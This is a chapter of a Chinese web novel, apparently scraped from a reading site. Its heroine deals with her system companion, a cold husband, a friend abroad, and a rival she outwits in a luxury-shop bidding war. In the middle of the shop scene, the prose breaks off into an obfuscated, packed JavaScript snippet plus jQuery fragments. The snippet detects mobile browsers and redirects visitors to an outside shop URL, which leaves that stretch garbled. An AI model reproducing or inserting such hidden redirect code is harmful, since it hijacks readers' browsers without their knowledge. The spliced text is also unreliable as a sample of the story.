13. 买个衣

作品:《替身她只想搞事业[穿书]

    季明希闻言一怔,两三秒后,她眼睛眨了眨,笑着轻刮下007的小鼻尖。


    “你很会说话嘛。”


    风呼呼敲打着窗,灰云聚拢,又是一个阴雨天。


    季明希头枕在臂弯处,听户外淅淅沥雨声,她半阖眼,问出积攒已久的疑惑:“小七,为什么我事事都要与他相联系呢?”


    007尾巴摇了摇,不假思索开口:“因为你是女主角啊。”


    季明希睁开眼笑了笑:“那世界,不应该围绕着我转吗?”


    007摇头,却是不赞同:“世界以主笔者的意识为中心运转。”


    “每个人存在的意识都是为了世界的运转,此外,你是谁,并不重要。”


    是吗……


    季明希眼睫轻颤,点点头,似是认真听讲去了。


    屋外的雨还在一直下,不知多久才会是一个晴朗日。


    “季小姐,终于找到你了。”刘管家的声音,让她从万千思绪中抽离。


    季明希抬眸,眼神飘去,刘管家递给她一个眼神。


    “雨下这么大,也不知多久会停。季小姐,我送你回去吧。”他道,嘴角扬起,展露出最完美的笑容。


    季明希收回视线,心里深知多半是陆云廷的意思。


    她垂眸思索一番,起身跟上刘管家。


    为了攻略任务,去一趟,没什么不好的。


    尽管上一秒的两人还在同室操戈。


    地下停车场,黑色低调的迈巴赫闪着白灯,亮光刺眼。


    “回家。”车窗降下,嗓音清冽。


    季明希仰面,和居于车内的男人视线相撞,那双眼睛直勾勾望着她,凌厉凉薄,如一头隐于暗处猎食的孤狼。


    季明希没有上前,她仍立在原地:“你先回去吧。”


    她声音放轻柔了些,好似方才种种,不过是陆云廷一人所遇的幻梦一场。


    季明希眼神扫去,男人眉目疏淡,依旧漠然。


    “呵,随你。”


    她以为陆云廷要离去了,耳朵却又听到他问起:“你下周五生日?”


    季明希迟疑,心里不明陆云廷好端端为何要问起她的出生日。


    “……是”她还是说出了。


    听到答案,男人升上车窗,本就不热的气氛又冷下了。引擎的轰鸣声响起,留下的,唯有飘散在空气中的灰尘粒子。


    -


    “白家的那块玉,世上仅有一枚吗?”


    办妥陆云廷的事,季明昭希又马不停蹄地着手起另一件事。


    如若007给的情报不假,按套路,她有理由怀疑原身是白家流落在外、失散多年的幼童。


    “仅有一枚。”乔依依回道,“至少目前是。”


    “那玉佩上镌刻着白氏的族徽,尽管工艺不算太复杂,但在海城没人敢伪造一分。”


    季明希眯起眼睛,双臂环胸,这就有点相矛盾了。


    “不过——”似又想起什么,乔依依话锋一转道,“有传言,那玉佩是有两枚的。”


    她换了个坐姿,想着,面色有些许不太自然:“一枚如今给了白家名正言顺的继承者,另一枚……”


    她不继续说下去了,扬眉轻轻一笑:“我也不太清楚,家里人总忌讳谈及这些。”


    听君一席话,如听一席话。


    季明希汗颜,内里滋长的好奇心,好似中了把无情飞刀。


    季明希近几日一直在追问这事儿,乔依依闻言,隐隐猜到几分:“是他又和你说了些什么吗?”


    季明希点点头,开口隐去些细枝末节:“他当时说,我与一个人长得很像。”


    视频另一头的乔依依扶额,小声怙惙起:“脸盲一个当然看谁都觉得像。”


    “嗯?”


    季明希歪头望去。


    她只见乔依依嘴皮子动着,却听不清正说些什么。


    乔依依哂笑:“没什么。”


    她叮嘱道:“白家那位惯会戏耍人的,总之,你别误入了他的圈套。”


    季明希“哦”了声。


    她眨眨眼,方格子的另一个世界,乔依依站在通透蔚蓝的天空下,身后是白雪皑皑的群山,不知怎的,她提了个废问题:“你还在F国?”


    那边风声呼啸,凛凛谷风裹挟颗颗雪粒子吹红乔依依的两颊,她抬手整了整凌乱的发。


    “还有点事。”她弯眉浅笑道,说话时,唇边白气团团。


    季明希下巴枕在胳膊肘。


    “下周会回来吗?”


    不经意问起,像是日常的寒暄。


    乔依依扬唇,含笑低语:“我会的。”


    -


    转眼又是一年伊始,温度渐冷,海城难得下起白白细雪,梧桐大道光秃的枝桠结满白霜,世间白茫茫一片,银光素裹亦是别样的风景。


    今厦广场上明黄的灯串与五色丝带相连,季明希打着伞坐在石墩上,往来行人众多,入了她的眼又出了她的眼。


    “明希。”声音温润。


    乔依依头顶着米白色小毡帽向她走去,棕色菱格毛绒围巾缠在她脖颈上,显得气质沉稳又内敛。


    “今日天冷,我点了杯你喜欢的。”乔依依从牛皮纸袋里拿出一杯递去。


    “谢谢。”季明希微笑接过,杯中温热从指尖传导,蔓延,融化浑身的寒凉。


    “待会想去哪逛一逛?”乔依依问,重新拢起围巾。


    季明希也没有主意:“随便走一圈看看吧。”


    她们走进一家奢侈品店,杏仁黄色的木地板通铺,空气里冷调香氛萦绕,全身模特错落有致地摆放,身上展列着最为时新的商品,顶上柔和的中性光洒下,贵气亦富有格调。


    “明希,你看这件。”乔依依取下件米白色羊毛绒针织开衫,拿到她身前比对着。


    季明希刚要拿过,指腹还未触及,耳边响起一声冷语:“不好意思,这件我们只作展示。”


    季明希有些,她看去,笑语盈盈道:“只是看看而已。”


    导购员闻言,眉心不耐烦地折起,他“啧”了声,语调拔高直嚷嚷叫唤:“听不懂人话吗,碰坏了你赔得起吗?”


    你?


    季明希疑惑,她们明明是两个人同行。


    男子的叫唤如一道惊雷,引得店里顾客的眼光齐刷刷看来。


    季明希蓦地扬起眉毛,她悟了,原是单为难她来的。


    又是一记剧情杀。


    “既然这料子如此不经碰,怎的不收起来,还摆出来给大家伙看呢?”


    乔依依抬手重重将衣服挂回原位,眉眼之间已染上几分怒意。


    “这位小姐,我……”


    “小陈。”


    远处一名笑容可掬的女子唤了声,本咄咄逼人的小年轻立马住口,狠狠睨了季明希一眼,跺脚离去。


    季明希无语,怎么又成她的错了。


    女子在小年轻的耳边低语几句,昂首快速走来。


    季明希扫去,女子衣服的左上方,前别着一张“店长”胸牌。


    “真是不好意思。”店长躬身致歉道,“小陈是新招来的员工,招待多有不周,但这件我们实在是没有存货了,还望两位能够谅解。”


    “既然是新招来的,因为工作失职裁掉对你们也没多少损失。”


    季明希淡淡一笑,又重拾起那件衣服看着,“外面大把大把的年轻人都找不到工作,怎的瞎了眼,招进来一个狗眼看人低的家伙。”


    “嗯?”她挑眉,似在征询对方的意见。


    “是,是,都是我们的错。”店长讪笑,服务的第一奥义:顾客永远是对的。


    她离去,不一会儿又拎着两个精美的小纸袋子回来:“这是我们今年新推出的橙调香水的小样,目前还未上市,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16698682|189092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    算是我们的一点赔礼心意,二位看看是否喜欢。”


    季明希瞥了眼,莞尔一笑。


    态度还算真诚,重要的日子,她也不愿把心情搞得太糟糕。


    伸手刚拿过,一声讥笑坏了气氛:“季二小姐近来可安好啊。”


    重逢的店内,心跳比她先认出人。


    “哎呦,梁小姐好。”


    原以为不会再现身的小陈哒哒跑来,硬是从二人间挤过阿谀逢迎道:“你要的当季新品我都为你留着呢。”


    他走至梁婷宜的身侧,笑得灿烂:“几位模特应你要求现已在二楼候着呢,请问梁小姐现在就过去吗?”


    看到这一幕,季明希忽而理解了HR为何要把小陈招进来。


    厚脸皮提供情绪价值这一块儿,他论第一,无人敢论第二。


    “还是让他们等一会儿吧。”梁婷宜哼笑起,很是自鸣得意。


    她摘下墨镜,目光扫向季明希手中的那件拿起放下又拿起的开衫,射灯下,莹润的奶白色珍珠纽扣泛着柔光。


    “这件,我要了。”她趾高气昂手指着。


    “明白明白。”小陈笑意渐深,伸手一把夺过也不怕劲大扯坏了,“我这就为您打包起来。”


    一旁的乔依依脑子转得快,即刻抓住盲点:“你们不是说没货吗?”


    “呵。”小陈翻了个白眼,轻蔑一笑,“我们这的一切都要给梁小姐备一份,自然是没货了。”


    “有货又如何。”梁婷宜下巴抬起,双手抱胸,不顾一切笑道,“你们不还没刷卡结账吗?又怎么归你们所有了?”


    “小陈,包起来。”她厉声命令道,眼睛死盯着远处神情似有些无可奈何的季明希,心里愈发得意起。


    她甩了甩头发,嗤笑出声。


    还以为当初在生日宴嚣张万分,叫她难堪的季明希有多大能耐,现在见她,不还是如只怕猫的过街老鼠。


    “两倍。”季明希倏尔出声,两根手指头竖起轻晃,“我出两倍的价格买下。”


    “以这家店最贵的商品的价格。”


    店长随之一愣,正忙于包装的小陈手一顿:“这位小姐,这件衣服是梁小姐先买下的。”


    “她不还没刷卡吗?”季明希朱唇扬起,以其之道,还治其身。


    “你如果不愿意的话,我换另一个人来便是。”


    “我倒是不介意把你的绩效拱手相让。”


    话里话外都说清了,巨大的诱惑面前,小陈屈服了,他看向季明希的眼神里隐隐多了几分献媚之意。


    梁婷宜促狭一笑,论钱,季明希一个父母不疼、老公不爱的又怎能比得过她。


    这要还是被季明希压一头,她岂不是彻彻底底沦为了海城的笑话?


    “我出三倍。”她道。


    “四倍。”


    “五倍。”


    “七倍。”


    “十倍。”梁婷宜咬牙,眼睛一横,势必跟季明希争到底。


    看着两人竞价,小陈拎着袋子跟个墙头草似的,一会拿给左边,一会递给右边,手都酸了。


    还好竞价结束了。


    “梁小姐真是财大气粗。”季明希狐狸眼弯起,连连鼓掌夸赞。


    她目光转向小陈:“还不快给梁小姐包起,是想让梁小姐等急了吗。”


    “记住了。”她幽幽开口,“以这家店最贵的商品的价格十倍结算。”


    小陈愣了愣,一会儿才道:“哦哦好。”


    他递给梁婷宜一张小票,梁婷宜看着打出来的七位数,终于意识到自己被戏耍了。


    一时的口舌之快竟花了一个季度的零花钱,爸妈要是知道了定会把她卡给停了。


    梁婷宜气得将小票揉皱成一团,攥在手中眼下却没地发泄,退而求其次啃咬起手指甲来,双目恶狠狠盯着始作俑者。


    季明希挑眉轻嗤,幼稚。